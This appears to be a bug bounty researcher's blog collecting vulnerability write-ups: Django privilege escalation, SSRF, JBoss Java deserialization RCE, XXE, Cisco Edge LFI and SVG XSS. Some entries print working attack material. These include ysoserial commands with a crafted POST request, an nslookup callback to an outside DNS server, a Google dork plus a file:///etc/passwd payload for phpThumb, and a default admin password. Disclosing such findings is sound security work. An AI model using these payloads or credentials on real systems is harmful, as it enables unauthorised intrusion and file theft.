Bug Bounty Findings by Meals

Privilege Escalation in a Django Application

seanmelia — Thu, 01 Jun 2017 17:28:47 +0000

Attached is the PDF of how I managed to escalate privileges to staff/superuser privileges via a misconfiguration. Django Privilege Escalation – Zero To Superuser

Utilizing SSRF to Pivot Internal Networks

seanmelia — Thu, 28 Jul 2016 17:10:17 +0000

This is from a private bounty. The internal —-private.com domain was out of scope so I was asked to stop testing once I found the bug.

SSRF To Pivot Internal Networks

Exploiting Java Deserialization Via JBoss

seanmelia — Fri, 22 Jul 2016 14:42:35 +0000

Background

First off, I would just like to reference the following sites/authors/tools for helping guide me along this route and providing a sweet tool to make this easy:

I ran into a JMXInvokerServlet/EJBInvokerServlet on a private bug bounty. Generally with these, you can just deploy a JSP shell and be done with it. I was running into some issues with this method and I’m not exactly sure why. However, I was still able to get RCE via this version of JBoss (4.2.3) being vulnerable to the Java Deserialization issue. There was egress filtering on this Windows host that didn’t allow me to perform http, ftp, or telnet. I was able to do DNS lookups though which will be shown at the end. I was able to determine it was a windows host due to some file not found-ish error messages.

Steps to Exploit

Grab a copy of ysoserial
Dump your payload into a file:
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘fake.exe’ > serialdata
If you’ll notice, I used ‘fake.exe’ as an example. Originally I was running commands like wget, curl, python, perl, etc. and I would receive some errors in the serialized response, “The system cannot find the file specified.”
To create your POST request for the endpoint use the following headers:
POST /invoker/EJBInvokerServlet HTTP/1.1
Host: site.com
Accept: */*
Accept-Language: en
ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 1400
Right click inside the request tab in Repeater and select ‘Paste from file’ and select the file containing serialized data.
Response (‘cannot find file’ is present):
I then decided to try cmd.exe
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘cmd.exe’ > serialdata
Request:
Response (‘cannot find file’ is not present):
From these responses, we can gather that I am able to run cmd.exe. At this point I tried a couple ways of outbound connections; however, I was only able to get DNS lookups to work. Thank you @dawgyg for letting me use your DNS server!
Command:
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘nslookup mealstest.example.com’ > serialtest
External DNS server logs:
$ sudo tail -f /var/log/messages
…snip…

Jul 22 00:10:00 server named[7356]: client 18x.x.x.x#33347: query: mealstest.example.com IN A -EDC (10.0.5.200)
I suspect I might have been able to copy over dnscat line by line then run the code. However I am short on time and the RCE was already proven .

Getting Hustled by the Yahoo! Bug Bounty Program

seanmelia — Sat, 06 Feb 2016 02:36:12 +0000

Note: I was at one point the top bug reporter for Yahoo! If they do this to me. They are very likely to do this to you.

Yahoo Remote Code Execution CMS

Yahoo Response:

Hey Sean,

Our committee finished reviewing your reports and found that most are not eligible for a bounty under our new rules that were released a month ago, on January 4th. I will be marking all as not eligible and will issue a $500 bounty for the exposed repos and privileges gained from that.

In an additional note, the dev team had found that the SSRF reports were not actually valid. The SQLi and RCE reports were found not to be eligible because they did not demonstrate any privileges that were not already accessible with the cms credentials. Also, the SQLi and RCE reports exhibit behavior that is mentioned as not acceptable in the new rules.

I also wanted to ask if you have some time next week (less than 30 mins) to talk a little more about the bug bounty program and to see what types of products/services you may be interested in testing as part of the VIP program.

Thanks,

Andrew

XXE via SAML

seanmelia — Sat, 09 Jan 2016 18:40:44 +0000

This was on a private bounty program. I have redacted all the info related to the program. Enjoy!

Out of Band XML External Entity Injection via SAML – redacted

Cisco Edge 340 Series v1.1 LFI as root

seanmelia — Sat, 09 Jan 2016 06:54:02 +0000

Originally I just had default administrator credentials then I poked around for less than 10 minutes and found a configuration export which allowed me to export files with root privileges.

Attached pdf for the LFI

Default credentials: admin:aDMIN123#

Cisco Edge 430 LFI

PhpThumb.php SSRF/LFI

seanmelia — Sun, 27 Dec 2015 19:07:13 +0000

I initially found this issue on a bounty, however it was marked out of scope on a third party provider. It may be possible to turn this into a RCE. Since I had no reason to escalate since no payment. I’ll leave that up to whoever wants to find out.

Google Dork: inurl:/phpThumb/phpThumb.php?src=

Payload: phpThumb.php?src=file:///etc/passwd

You will see in the response “Unknown image type identified by “root”. It’s reading the /etc/passwd file! However since it only displays the first four characters in the error we can’t read the whole file.

You can also tell it to load remote files http://domain.com/test.php.

Various Server Side Request Forgery Issues

seanmelia — Wed, 23 Dec 2015 23:21:14 +0000

SSRF 1

This SSRF allowed me to view local files on the host as well as port scan internal hosts.

Reading /etc/passwd using the file protocol.

Brute-forcing for log files using BurpSuite Intruder:

SSRF 2

SSRF that had some filtering of 127.0.0.1 and localhost which was bypassed by using 0.0.0.0

XSS via Loading Remote SVG

seanmelia — Wed, 23 Dec 2015 16:46:53 +0000

This XSS was via embedly which controls the content-type response to image types. Luckily .svg was allowed.

I used this blog to help create a .svg that contained XSS.

https://grepular.com/Scalable_Vector_Graphics_and_XSS

PoC:





      alert(document.domain);

JFrog Artifactory XXE

seanmelia — Wed, 23 Dec 2015 02:46:58 +0000

JFrog Artifactory XXE